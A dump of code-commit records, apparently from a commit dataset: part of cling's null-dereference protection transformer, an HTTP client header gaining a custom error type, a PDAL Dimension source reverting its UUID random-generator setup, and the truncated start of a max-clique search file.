&m_Context.Idents.get(\"cling_runtime_internal_throwIfInvalidPointer\");\n SourceLocation noLoc;\n m_clingthrowIfInvalidPointerCache = new LookupResult(m_Sema, Name, noLoc,\n Sema::LookupOrdinaryName,\n Sema::ForVisibleRedeclaration);\n m_Sema.LookupQualifiedName(*m_clingthrowIfInvalidPointerCache,\n m_Context.getTranslationUnitDecl());\n assert(!m_clingthrowIfInvalidPointerCache->empty() &&\n \"Lookup of cling_runtime_internal_throwIfInvalidPointer failed!\");\n }\n };\n\n static bool hasPtrCheckDisabledInContext(const Decl* D) {\n if (isa<TranslationUnitDecl>(D))\n return false;\n for (const auto *Ann : D->specific_attrs<AnnotateAttr>()) {\n if (Ann->getAnnotation() == \"__cling__ptrcheck(off)\")\n return true;\n else if (Ann->getAnnotation() == \"__cling__ptrcheck(on)\")\n return false;\n }\n const Decl* Parent = nullptr;\n for (auto DC = D->getDeclContext(); !Parent; DC = DC->getParent())\n Parent = dyn_cast<Decl>(DC);\n\n assert(Parent && \"Decl without context!\");\n\n return hasPtrCheckDisabledInContext(Parent);\n }\n\n} \/\/ unnamed namespace\n\nnamespace cling {\n NullDerefProtectionTransformer::NullDerefProtectionTransformer(Interpreter* I)\n : ASTTransformer(&I->getCI()->getSema()), m_Interp(I) {\n }\n\n NullDerefProtectionTransformer::~NullDerefProtectionTransformer()\n { }\n\n bool NullDerefProtectionTransformer::shouldTransform(const clang::Decl* D) {\n if (D->isFromASTFile())\n return false;\n if (D->isTemplateDecl())\n return false;\n\n if (hasPtrCheckDisabledInContext(D))\n return false;\n\n auto Loc = D->getLocation();\n if (Loc.isInvalid())\n return false;\n\n SourceManager& SM = m_Interp->getSema().getSourceManager();\n auto Characteristic = SM.getFileCharacteristic(Loc);\n if (Characteristic != clang::SrcMgr::C_User)\n return false;\n\n auto FID = SM.getFileID(Loc);\n if (FID.isInvalid())\n return false;\n\n auto FE = SM.getFileEntryForID(FID);\n if (!FE)\n return false;\n\n auto Dir = FE->getDir();\n if (!Dir)\n return false;\n\n auto IterAndInserted = m_ShouldVisitDir.try_emplace(Dir, true);\n if (IterAndInserted.second == false)\n return IterAndInserted.first->second;\n\n if (llvm::sys::fs::can_write(Dir->getName()))\n return true; \/\/ `true` is already emplaced above.\n\n \/\/ Remember that this dir is not writable and should not be visited.\n IterAndInserted.first->second = false;\n return false;\n }\n\n\n ASTTransformer::Result\n NullDerefProtectionTransformer::Transform(clang::Decl* D) {\n if (getCompilationOpts().CheckPointerValidity && shouldTransform(D)) {\n PointerCheckInjector injector(*m_Interp);\n injector.TraverseDecl(D);\n }\n return Result(D, true);\n }\n} \/\/ end namespace cling\n<|endoftext|>"} {"text":"<commit_before>#ifndef HTTP_CLIENT_HH\n#define HTTP_CLIENT_HH\n\n#include \"http\/http_message.hh\"\n#include \"shared_pool.hh\"\n#include \"buffer.hh\"\n\nnamespace ten {\n\nclass http_client {\nprivate:\n std::shared_ptr<netsock> s;\n buffer buf;\n\n void ensure_connection() {\n if (s && s->valid()) return;\n s.reset(new netsock(AF_INET, SOCK_STREAM));\n if (s->dial(host.c_str(), port) != 0) {\n throw errorx(\"dial %s:%d failed\", host.c_str(), port);\n }\n }\n\npublic:\n const std::string host;\n const uint16_t port;\n size_t max_content_length;\n\n http_client(const std::string &host_, uint16_t port_=80)\n : buf(4*1024), host(host_), port(port_), max_content_length(-1) {}\n\n http_response perform(const std::string &method, const std::string &path, const std::string &data=\"\") {\n try {\n ensure_connection();\n uri u;\n u.scheme = \"http\";\n u.host = host;\n u.port = port;\n u.path = path;\n u.normalize();\n\n http_request r(method, u.compose(true));\n \/\/ HTTP\/1.1 requires host header\n r.append(\"Host\", u.host); \n r.append(\"Content-Length\", data.size());\n\n std::string hdata = r.data();\n ssize_t nw = s->send(hdata.c_str(), hdata.size());\n nw = s->send(data.c_str(), data.size());\n\n http_parser parser;\n http_response resp;\n resp.parser_init(&parser);\n\n buf.clear();\n\n while (!resp.complete) {\n buf.reserve(4*1024);\n ssize_t nr = s->recv(buf.back(), buf.available());\n if (nr <= 0) { throw errorx(\"http get error\"); }\n buf.commit(nr);\n size_t len = buf.size();\n resp.parse(&parser, buf.front(), len);\n buf.remove(len);\n if (resp.body.size() >= max_content_length) {\n s.reset(); \/\/ close this socket, we won't read anymore\n return resp;\n }\n }\n \/\/ should not be any data left over in buf\n CHECK(buf.size() == 0);\n\n return resp;\n } catch (errorx &e) {\n s.reset();\n throw;\n }\n }\n\n http_response get(const std::string &path) {\n return perform(\"GET\", path);\n }\n\n http_response post(const std::string &path, const std::string &data) {\n return perform(\"POST\", path, data);\n }\n\n};\n\nclass http_pool : public shared_pool<http_client> {\npublic:\n http_pool(const std::string &host_, uint16_t port_, ssize_t max_conn)\n : shared_pool<http_client>(\"http:\/\/\" + host_,\n std::bind(&http_pool::new_resource, this),\n max_conn\n ),\n host(host_), port(port_) {}\n\nprotected:\n std::string host;\n uint16_t port;\n\n std::shared_ptr<http_client> new_resource() {\n VLOG(3) << \"new http_client resource \" << host;\n return std::make_shared<http_client>(host, port);\n }\n};\n\n} \/\/ end namespace ten\n#endif \/\/ HTTP_CLIENT_HH\n\n<commit_msg>custom error type<commit_after>#ifndef HTTP_CLIENT_HH\n#define HTTP_CLIENT_HH\n\n#include \"http\/http_message.hh\"\n#include \"shared_pool.hh\"\n#include \"buffer.hh\"\n\nnamespace ten {\n\nclass http_error : public errorx {\npublic:\n http_error(const std::string &msg) : errorx(msg) {}\n};\n\nclass http_client {\nprivate:\n std::shared_ptr<netsock> s;\n buffer buf;\n\n void ensure_connection() {\n if (s && s->valid()) return;\n s.reset(new netsock(AF_INET, SOCK_STREAM));\n if (s->dial(host.c_str(), port) != 0) {\n throw http_error(\"dial\");\n }\n }\n\npublic:\n const std::string host;\n const uint16_t port;\n size_t max_content_length;\n\n http_client(const std::string &host_, uint16_t port_=80)\n : buf(4*1024), host(host_), port(port_), max_content_length(-1) {}\n\n http_response perform(const std::string &method, const std::string &path, const std::string &data=\"\") {\n try {\n ensure_connection();\n uri u;\n u.scheme = \"http\";\n u.host = host;\n u.port = port;\n u.path = path;\n u.normalize();\n\n http_request r(method, u.compose(true));\n \/\/ HTTP\/1.1 requires host header\n r.append(\"Host\", u.host); \n r.append(\"Content-Length\", data.size());\n\n std::string hdata = r.data();\n ssize_t nw = s->send(hdata.c_str(), hdata.size());\n nw = s->send(data.c_str(), data.size());\n\n http_parser parser;\n http_response resp;\n resp.parser_init(&parser);\n\n buf.clear();\n\n while (!resp.complete) {\n buf.reserve(4*1024);\n ssize_t nr = s->recv(buf.back(), buf.available());\n if (nr <= 0) { throw http_error(\"recv\"); }\n buf.commit(nr);\n size_t len = buf.size();\n resp.parse(&parser, buf.front(), len);\n buf.remove(len);\n if (resp.body.size() >= max_content_length) {\n s.reset(); \/\/ close this socket, we won't read anymore\n return resp;\n }\n }\n \/\/ should not be any data left over in buf\n CHECK(buf.size() == 0);\n\n return resp;\n } catch (errorx &e) {\n s.reset();\n throw;\n }\n }\n\n http_response get(const std::string &path) {\n return perform(\"GET\", path);\n }\n\n http_response post(const std::string &path, const std::string &data) {\n return perform(\"POST\", path, data);\n }\n\n};\n\nclass http_pool : public shared_pool<http_client> {\npublic:\n http_pool(const std::string &host_, uint16_t port_, ssize_t max_conn)\n : shared_pool<http_client>(\"http:\/\/\" + host_,\n std::bind(&http_pool::new_resource, this),\n max_conn\n ),\n host(host_), port(port_) {}\n\nprotected:\n std::string host;\n uint16_t port;\n\n std::shared_ptr<http_client> new_resource() {\n VLOG(3) << \"new http_client resource \" << host;\n return std::make_shared<http_client>(host, port);\n }\n};\n\n} \/\/ end namespace ten\n#endif \/\/ HTTP_CLIENT_HH\n\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * $Id$\n *\n * Project: libLAS - http:\/\/liblas.org - A BSD library for LAS format data.\n * Purpose: LAS Dimension implementation for C++ libLAS\n * Author: Howard Butler, hobu.inc@gmail.com\n *\n ******************************************************************************\n * Copyright (c) 2010, Howard Butler\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following\n * conditions are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of the Martin Isenburg or Iowa Department\n * of Natural Resources nor the names of its contributors may be\n * used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n * OF SUCH DAMAGE.\n ****************************************************************************\/\n\n#include <pdal\/Dimension.hpp>\n\n#include <pdal\/GlobalEnvironment.hpp>\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/uuid\/string_generator.hpp>\n#include <boost\/uuid\/random_generator.hpp>\n#include <boost\/uuid\/uuid_io.hpp>\n#include <map>\n\n#include <time.h>\n#include <cstdlib>\n\nnamespace pdal\n{\n\n\n\nDimension::Dimension(std::string const& name,\n dimension::Interpretation interpretation,\n dimension::size_type sizeInBytes,\n std::string description)\n : m_name(name)\n , m_flags(0)\n , m_endian(pdal::Endian_Little)\n , m_byteSize(sizeInBytes)\n , m_description(description)\n , m_min(0.0)\n , m_max(0.0)\n , m_numericScale(1.0)\n , m_numericOffset(0.0)\n , m_byteOffset(0)\n , m_position(-1)\n , m_interpretation(interpretation)\n , m_uuid(boost::uuids::nil_uuid())\n , m_namespace(std::string(\"\"))\n , m_parentDimensionID(boost::uuids::nil_uuid())\n\n{\n\n if (!m_name.size())\n {\n \/\/ Generate a random name from the time\n ::time_t seconds;\n ::time(&seconds);\n\n std::ostringstream oss;\n srand(static_cast<unsigned int>(seconds));\n oss << \"unnamed\" << rand();\n m_name = oss.str();\n\n }\n\n}\n\n\/\/\/ copy constructor\nDimension::Dimension(Dimension const& other)\n : m_name(other.m_name)\n , m_flags(other.m_flags)\n , m_endian(other.m_endian)\n , m_byteSize(other.m_byteSize)\n , m_description(other.m_description)\n , m_min(other.m_min)\n , m_max(other.m_max)\n , m_numericScale(other.m_numericScale)\n , m_numericOffset(other.m_numericOffset)\n , m_byteOffset(other.m_byteOffset)\n , m_position(other.m_position)\n , m_interpretation(other.m_interpretation)\n , m_uuid(other.m_uuid)\n , m_namespace(other.m_namespace)\n , m_parentDimensionID(other.m_parentDimensionID)\n{\n return;\n}\n\n\/\/\/ assignment operator\nDimension& Dimension::operator=(Dimension const& rhs)\n{\n if (&rhs != this)\n {\n m_name = rhs.m_name;\n m_flags = rhs.m_flags;\n m_endian = rhs.m_endian;\n m_byteSize = rhs.m_byteSize;\n m_description = rhs.m_description;\n m_min = rhs.m_min;\n m_max = rhs.m_max;\n m_numericScale = rhs.m_numericScale;\n m_numericOffset = rhs.m_numericOffset;\n m_byteOffset = rhs.m_byteOffset;\n m_position = rhs.m_position;\n m_interpretation = rhs.m_interpretation;\n m_uuid = rhs.m_uuid;\n m_namespace = rhs.m_namespace;\n m_parentDimensionID = rhs.m_parentDimensionID;\n }\n\n return *this;\n}\n\n\nbool Dimension::operator==(const Dimension& other) const\n{\n if (boost::iequals(m_name, other.m_name) &&\n m_flags == other.m_flags &&\n m_endian == other.m_endian &&\n m_byteSize == other.m_byteSize &&\n boost::iequals(m_description, other.m_description) &&\n Utils::compare_approx(m_min, other.m_min, (std::numeric_limits<double>::min)()) &&\n Utils::compare_approx(m_max, other.m_max, (std::numeric_limits<double>::min)()) &&\n Utils::compare_approx(m_numericScale, other.m_numericScale, (std::numeric_limits<double>::min)()) &&\n Utils::compare_approx(m_numericOffset, other.m_numericOffset, (std::numeric_limits<double>::min)()) &&\n m_byteOffset == other.m_byteOffset &&\n m_position == other.m_position &&\n m_interpretation == other.m_interpretation &&\n m_uuid == other.m_uuid &&\n m_parentDimensionID == other.m_parentDimensionID\n )\n {\n return true;\n }\n\n return false;\n}\n\n\nbool Dimension::operator!=(const Dimension& other) const\n{\n return !(*this==other);\n}\n\nboost::property_tree::ptree Dimension::toPTree() const\n{\n using boost::property_tree::ptree;\n ptree dim;\n dim.put(\"name\", getName());\n dim.put(\"namespace\", getNamespace());\n dim.put(\"parent\", getParent());\n dim.put(\"description\", getDescription());\n dim.put(\"bytesize\", getByteSize());\n\n std::string e(\"little\");\n if (getEndianness() == Endian_Big)\n e = std::string(\"big\");\n dim.put(\"endianness\", e);\n\n dim.put(\"minimum\", getMinimum());\n dim.put(\"maximum\", getMaximum());\n dim.put(\"scale\", getNumericScale());\n dim.put(\"offset\", getNumericOffset());\n\n dim.put(\"scale\", getNumericScale());\n\n dim.put(\"position\", getPosition());\n dim.put(\"byteoffset\", getByteOffset());\n dim.put(\"isIgnored\", isIgnored());\n\n std::stringstream oss;\n\n dimension::id t = getUUID();\n oss << t;\n\n dim.put(\"uuid\", oss.str());\n return dim;\n}\n\nvoid Dimension::setUUID(std::string const& id)\n{\n boost::uuids::string_generator gen;\n m_uuid = gen(id);\n}\n\nvoid Dimension::createUUID()\n{\n \/\/ Global RNG\n GlobalEnvironment& env = pdal::GlobalEnvironment::get();\n boost::uuids::basic_random_generator<boost::mt19937> gen(env.getRNG());\n m_uuid = gen();\n\n \/\/ Stack-allocated, uninitialized RNG\n \/\/ boost::mt19937 ran;\n \/\/ boost::uuids::basic_random_generator<boost::mt19937> gen(&ran);\n \/\/ m_uuid = gen(); \n\n \/\/ Single call, uninitialized RNG\n \/\/ m_uuid = boost::uuids::random_generator()();\n}\n\nvoid Dimension::dump() const\n{\n std::cout << *this;\n}\n\nstd::string Dimension::getInterpretationName() const\n{\n std::ostringstream type;\n dimension::Interpretation t = getInterpretation();\n boost::uint32_t bytesize = getByteSize();\n\n switch (t)\n {\n case dimension::SignedByte:\n if (bytesize == 1)\n type << \"int8_t\";\n break;\n case dimension::UnsignedByte:\n if (bytesize == 1)\n type << \"uint8_t\";\n break;\n\n\n case dimension::SignedInteger:\n if (bytesize == 1)\n type << \"int8_t\";\n else if (bytesize == 2)\n type << \"int16_t\";\n else if (bytesize == 4)\n type << \"int32_t\";\n else if (bytesize == 8)\n type << \"int64_t\";\n else\n type << \"unknown\";\n break;\n case dimension::UnsignedInteger:\n if (bytesize == 1)\n type << \"uint8_t\";\n else if (bytesize == 2)\n type << \"uint16_t\";\n else if (bytesize == 4)\n type << \"uint32_t\";\n else if (bytesize == 8)\n type << \"uint64_t\";\n else\n type << \"unknown\";\n break;\n\n case dimension::Float:\n if (bytesize == 4)\n type << \"float\";\n else if (bytesize == 8)\n type << \"double\";\n else\n type << \"unknown\";\n break;\n\n case dimension::Pointer:\n type << \"pointer\";\n break;\n case dimension::Undefined:\n type << \"unknown\";\n break;\n }\n\n return type.str();\n}\n\n\ndimension::Interpretation Dimension::getInterpretation(std::string const& interpretation)\n{\n\n if (boost::iequals(interpretation, \"int8_t\") ||\n boost::iequals(interpretation, \"int8\"))\n return dimension::SignedInteger;\n\n if (boost::iequals(interpretation, \"uint8_t\") ||\n boost::iequals(interpretation, \"uint8\"))\n return dimension::UnsignedInteger;\n\n if (boost::iequals(interpretation, \"int16_t\") ||\n boost::iequals(interpretation, \"int16\"))\n return dimension::SignedInteger;\n\n if (boost::iequals(interpretation, \"uint16_t\") ||\n boost::iequals(interpretation, \"uint16\"))\n return dimension::UnsignedInteger;\n\n\n if (boost::iequals(interpretation, \"int32_t\") ||\n boost::iequals(interpretation, \"int32\"))\n return dimension::SignedInteger;\n\n if (boost::iequals(interpretation, \"uint32_t\") ||\n boost::iequals(interpretation, \"uint32\"))\n return dimension::UnsignedInteger;\n\n if (boost::iequals(interpretation, \"int64_t\") ||\n boost::iequals(interpretation, \"int64\"))\n return dimension::SignedInteger;\n\n if (boost::iequals(interpretation, \"uint64_t\") ||\n boost::iequals(interpretation, \"uint64\"))\n return dimension::UnsignedInteger;\n\n if (boost::iequals(interpretation, \"float\"))\n return dimension::Float;\n\n if (boost::iequals(interpretation, \"double\"))\n return dimension::Float;\n\n\n return dimension::Undefined;\n}\n\nstd::ostream& operator<<(std::ostream& os, pdal::Dimension const& d)\n{\n using boost::property_tree::ptree;\n ptree tree = d.toPTree();\n\n std::string const name = tree.get<std::string>(\"name\");\n std::string const ns = tree.get<std::string>(\"namespace\");\n\n std::ostringstream quoted_name;\n if (ns.size())\n quoted_name << \"'\" << ns << \".\" << name << \"'\";\n else\n quoted_name << \"'\" << name << \"'\";\n std::ostringstream pad;\n std::string const& cur = quoted_name.str();\n std::string::size_type size = cur.size();\n std::string::size_type buffer(24);\n std::string::size_type pad_size = buffer - size;\n if (size > buffer) \n pad_size = 4;\n for (std::string::size_type i=0; i != pad_size; i++)\n {\n pad << \" \";\n }\n os << quoted_name.str() << pad.str() <<\" -- \"<< \" size: \" << tree.get<boost::uint32_t>(\"bytesize\");\n\n double scale = tree.get<double>(\"scale\");\n boost::uint32_t precision = Utils::getStreamPrecision(scale);\n os.setf(std::ios_base::fixed, std::ios_base::floatfield);\n os.precision(precision);\n os << \" scale: \" << scale;\n\n double offset = tree.get<double>(\"offset\");\n os << \" offset: \" << offset;\n \n os << \" ignored: \" << tree.get<bool>(\"isIgnored\");\n\n os << \" uid: \" << tree.get<std::string>(\"uuid\");\n os << \" parent: \" << tree.get<std::string>(\"parent\");\n\n os << std::endl;\n\n return os;\n}\n\n\n} \/\/ namespace pdal\n<commit_msg>flip back to old RNG initialization<commit_after>\/******************************************************************************\n * $Id$\n *\n * Project: libLAS - http:\/\/liblas.org - A BSD library for LAS format data.\n * Purpose: LAS Dimension implementation for C++ libLAS\n * Author: Howard Butler, hobu.inc@gmail.com\n *\n ******************************************************************************\n * Copyright (c) 2010, Howard Butler\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following\n * conditions are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of the Martin Isenburg or Iowa Department\n * of Natural Resources nor the names of its contributors may be\n * used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n * OF SUCH DAMAGE.\n ****************************************************************************\/\n\n#include <pdal\/Dimension.hpp>\n\n#include <pdal\/GlobalEnvironment.hpp>\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/uuid\/string_generator.hpp>\n#include <boost\/uuid\/random_generator.hpp>\n#include <boost\/uuid\/uuid_io.hpp>\n#include <map>\n\n#include <time.h>\n#include <cstdlib>\n\nnamespace pdal\n{\n\n\n\nDimension::Dimension(std::string const& name,\n dimension::Interpretation interpretation,\n dimension::size_type sizeInBytes,\n std::string description)\n : m_name(name)\n , m_flags(0)\n , m_endian(pdal::Endian_Little)\n , m_byteSize(sizeInBytes)\n , m_description(description)\n , m_min(0.0)\n , m_max(0.0)\n , m_numericScale(1.0)\n , m_numericOffset(0.0)\n , m_byteOffset(0)\n , m_position(-1)\n , m_interpretation(interpretation)\n , m_uuid(boost::uuids::nil_uuid())\n , m_namespace(std::string(\"\"))\n , m_parentDimensionID(boost::uuids::nil_uuid())\n\n{\n\n if (!m_name.size())\n {\n \/\/ Generate a random name from the time\n ::time_t seconds;\n ::time(&seconds);\n\n std::ostringstream oss;\n srand(static_cast<unsigned int>(seconds));\n oss << \"unnamed\" << rand();\n m_name = oss.str();\n\n }\n\n}\n\n\/\/\/ copy constructor\nDimension::Dimension(Dimension const& other)\n : m_name(other.m_name)\n , m_flags(other.m_flags)\n , m_endian(other.m_endian)\n , m_byteSize(other.m_byteSize)\n , m_description(other.m_description)\n , m_min(other.m_min)\n , m_max(other.m_max)\n , m_numericScale(other.m_numericScale)\n , m_numericOffset(other.m_numericOffset)\n , m_byteOffset(other.m_byteOffset)\n , m_position(other.m_position)\n , m_interpretation(other.m_interpretation)\n , m_uuid(other.m_uuid)\n , m_namespace(other.m_namespace)\n , m_parentDimensionID(other.m_parentDimensionID)\n{\n return;\n}\n\n\/\/\/ assignment operator\nDimension& Dimension::operator=(Dimension const& rhs)\n{\n if (&rhs != this)\n {\n m_name = rhs.m_name;\n m_flags = rhs.m_flags;\n m_endian = rhs.m_endian;\n m_byteSize = rhs.m_byteSize;\n m_description = rhs.m_description;\n m_min = rhs.m_min;\n m_max = rhs.m_max;\n m_numericScale = rhs.m_numericScale;\n m_numericOffset = rhs.m_numericOffset;\n m_byteOffset = rhs.m_byteOffset;\n m_position = rhs.m_position;\n m_interpretation = rhs.m_interpretation;\n m_uuid = rhs.m_uuid;\n m_namespace = rhs.m_namespace;\n m_parentDimensionID = rhs.m_parentDimensionID;\n }\n\n return *this;\n}\n\n\nbool Dimension::operator==(const Dimension& other) const\n{\n if (boost::iequals(m_name, other.m_name) &&\n m_flags == other.m_flags &&\n m_endian == other.m_endian &&\n m_byteSize == other.m_byteSize &&\n boost::iequals(m_description, other.m_description) &&\n Utils::compare_approx(m_min, other.m_min, (std::numeric_limits<double>::min)()) &&\n Utils::compare_approx(m_max, other.m_max, (std::numeric_limits<double>::min)()) &&\n Utils::compare_approx(m_numericScale, other.m_numericScale, (std::numeric_limits<double>::min)()) &&\n Utils::compare_approx(m_numericOffset, other.m_numericOffset, (std::numeric_limits<double>::min)()) &&\n m_byteOffset == other.m_byteOffset &&\n m_position == other.m_position &&\n m_interpretation == other.m_interpretation &&\n m_uuid == other.m_uuid &&\n m_parentDimensionID == other.m_parentDimensionID\n )\n {\n return true;\n }\n\n return false;\n}\n\n\nbool Dimension::operator!=(const Dimension& other) const\n{\n return !(*this==other);\n}\n\nboost::property_tree::ptree Dimension::toPTree() const\n{\n using boost::property_tree::ptree;\n ptree dim;\n dim.put(\"name\", getName());\n dim.put(\"namespace\", getNamespace());\n dim.put(\"parent\", getParent());\n dim.put(\"description\", getDescription());\n dim.put(\"bytesize\", getByteSize());\n\n std::string e(\"little\");\n if (getEndianness() == Endian_Big)\n e = std::string(\"big\");\n dim.put(\"endianness\", e);\n\n dim.put(\"minimum\", getMinimum());\n dim.put(\"maximum\", getMaximum());\n dim.put(\"scale\", getNumericScale());\n dim.put(\"offset\", getNumericOffset());\n\n dim.put(\"scale\", getNumericScale());\n\n dim.put(\"position\", getPosition());\n dim.put(\"byteoffset\", getByteOffset());\n dim.put(\"isIgnored\", isIgnored());\n\n std::stringstream oss;\n\n dimension::id t = getUUID();\n oss << t;\n\n dim.put(\"uuid\", oss.str());\n return dim;\n}\n\nvoid Dimension::setUUID(std::string const& id)\n{\n boost::uuids::string_generator gen;\n m_uuid = gen(id);\n}\n\nvoid Dimension::createUUID()\n{\n \/\/ Global RNG\n \/\/ GlobalEnvironment& env = pdal::GlobalEnvironment::get();\n \/\/ boost::uuids::basic_random_generator<boost::mt19937> gen(env.getRNG());\n \/\/ m_uuid = gen();\n\n \/\/ Stack-allocated, uninitialized RNG\n \/\/ boost::mt19937 ran;\n \/\/ boost::uuids::basic_random_generator<boost::mt19937> gen(&ran);\n \/\/ m_uuid = gen(); \n\n \/\/ Single call, uninitialized RNG\n m_uuid = boost::uuids::random_generator()();\n}\n\nvoid Dimension::dump() const\n{\n std::cout << *this;\n}\n\nstd::string Dimension::getInterpretationName() const\n{\n std::ostringstream type;\n dimension::Interpretation t = getInterpretation();\n boost::uint32_t bytesize = getByteSize();\n\n switch (t)\n {\n case dimension::SignedByte:\n if (bytesize == 1)\n type << \"int8_t\";\n break;\n case dimension::UnsignedByte:\n if (bytesize == 1)\n type << \"uint8_t\";\n break;\n\n\n case dimension::SignedInteger:\n if (bytesize == 1)\n type << \"int8_t\";\n else if (bytesize == 2)\n type << \"int16_t\";\n else if (bytesize == 4)\n type << \"int32_t\";\n else if (bytesize == 8)\n type << \"int64_t\";\n else\n type << \"unknown\";\n break;\n case dimension::UnsignedInteger:\n if (bytesize == 1)\n type << \"uint8_t\";\n else if (bytesize == 2)\n type << \"uint16_t\";\n else if (bytesize == 4)\n type << \"uint32_t\";\n else if (bytesize == 8)\n type << \"uint64_t\";\n else\n type << \"unknown\";\n break;\n\n case dimension::Float:\n if (bytesize == 4)\n type << \"float\";\n else if (bytesize == 8)\n type << \"double\";\n else\n type << \"unknown\";\n break;\n\n case dimension::Pointer:\n type << \"pointer\";\n break;\n case dimension::Undefined:\n type << \"unknown\";\n break;\n }\n\n return type.str();\n}\n\n\ndimension::Interpretation Dimension::getInterpretation(std::string const& interpretation)\n{\n\n if (boost::iequals(interpretation, \"int8_t\") ||\n boost::iequals(interpretation, \"int8\"))\n return dimension::SignedInteger;\n\n if (boost::iequals(interpretation, \"uint8_t\") ||\n boost::iequals(interpretation, \"uint8\"))\n return dimension::UnsignedInteger;\n\n if (boost::iequals(interpretation, \"int16_t\") ||\n boost::iequals(interpretation, \"int16\"))\n return dimension::SignedInteger;\n\n if (boost::iequals(interpretation, \"uint16_t\") ||\n boost::iequals(interpretation, \"uint16\"))\n return dimension::UnsignedInteger;\n\n\n if (boost::iequals(interpretation, \"int32_t\") ||\n boost::iequals(interpretation, \"int32\"))\n return dimension::SignedInteger;\n\n if (boost::iequals(interpretation, \"uint32_t\") ||\n boost::iequals(interpretation, \"uint32\"))\n return dimension::UnsignedInteger;\n\n if (boost::iequals(interpretation, \"int64_t\") ||\n boost::iequals(interpretation, \"int64\"))\n return dimension::SignedInteger;\n\n if (boost::iequals(interpretation, \"uint64_t\") ||\n boost::iequals(interpretation, \"uint64\"))\n return dimension::UnsignedInteger;\n\n if (boost::iequals(interpretation, \"float\"))\n return dimension::Float;\n\n if (boost::iequals(interpretation, \"double\"))\n return dimension::Float;\n\n\n return dimension::Undefined;\n}\n\nstd::ostream& operator<<(std::ostream& os, pdal::Dimension const& d)\n{\n using boost::property_tree::ptree;\n ptree tree = d.toPTree();\n\n std::string const name = tree.get<std::string>(\"name\");\n std::string const ns = tree.get<std::string>(\"namespace\");\n\n std::ostringstream quoted_name;\n if (ns.size())\n quoted_name << \"'\" << ns << \".\" << name << \"'\";\n else\n quoted_name << \"'\" << name << \"'\";\n std::ostringstream pad;\n std::string const& cur = quoted_name.str();\n std::string::size_type size = cur.size();\n std::string::size_type buffer(24);\n std::string::size_type pad_size = buffer - size;\n if (size > buffer) \n pad_size = 4;\n for (std::string::size_type i=0; i != pad_size; i++)\n {\n pad << \" \";\n }\n os << quoted_name.str() << pad.str() <<\" -- \"<< \" size: \" << tree.get<boost::uint32_t>(\"bytesize\");\n\n double scale = tree.get<double>(\"scale\");\n boost::uint32_t precision = Utils::getStreamPrecision(scale);\n os.setf(std::ios_base::fixed, std::ios_base::floatfield);\n os.precision(precision);\n os << \" scale: \" << scale;\n\n double offset = tree.get<double>(\"offset\");\n os << \" offset: \" << offset;\n \n os << \" ignored: \" << tree.get<bool>(\"isIgnored\");\n\n os << \" uid: \" << tree.get<std::string>(\"uuid\");\n os << \" parent: \" << tree.get<std::string>(\"parent\");\n\n os << std::endl;\n\n return os;\n}\n\n\n} \/\/ namespace pdal\n<|endoftext|>"} {"text":"<commit_before>\/* vim: set sw=4 sts=4 et foldmethod=syntax : *\/\n\n#include <max_clique\/tbmcsabin_max_clique.hh>\n#include <max_clique\/colourise.hh>\n#include <max_clique\/print_incumbent.hh>\n#include <threads\/atomic_incumbent.hh>\n#include <threads\/queue.hh>\n#include <graph\/degree_sort.hh>\n\n#include <algorithm>\n#include <list>\n#include <functional>\n#include <vector>\n#include <thread>\n\nusing namespace parasols;\n\nnamespace\n{\n template <unsigned size_>\n struct QueueItem\n {\n FixedBitSet<size_> c;\n FixedBitSet<size_> p;\n std::array<unsigned, size_ * bits_per_word> p_order;\n std::array<unsigned, size_ * 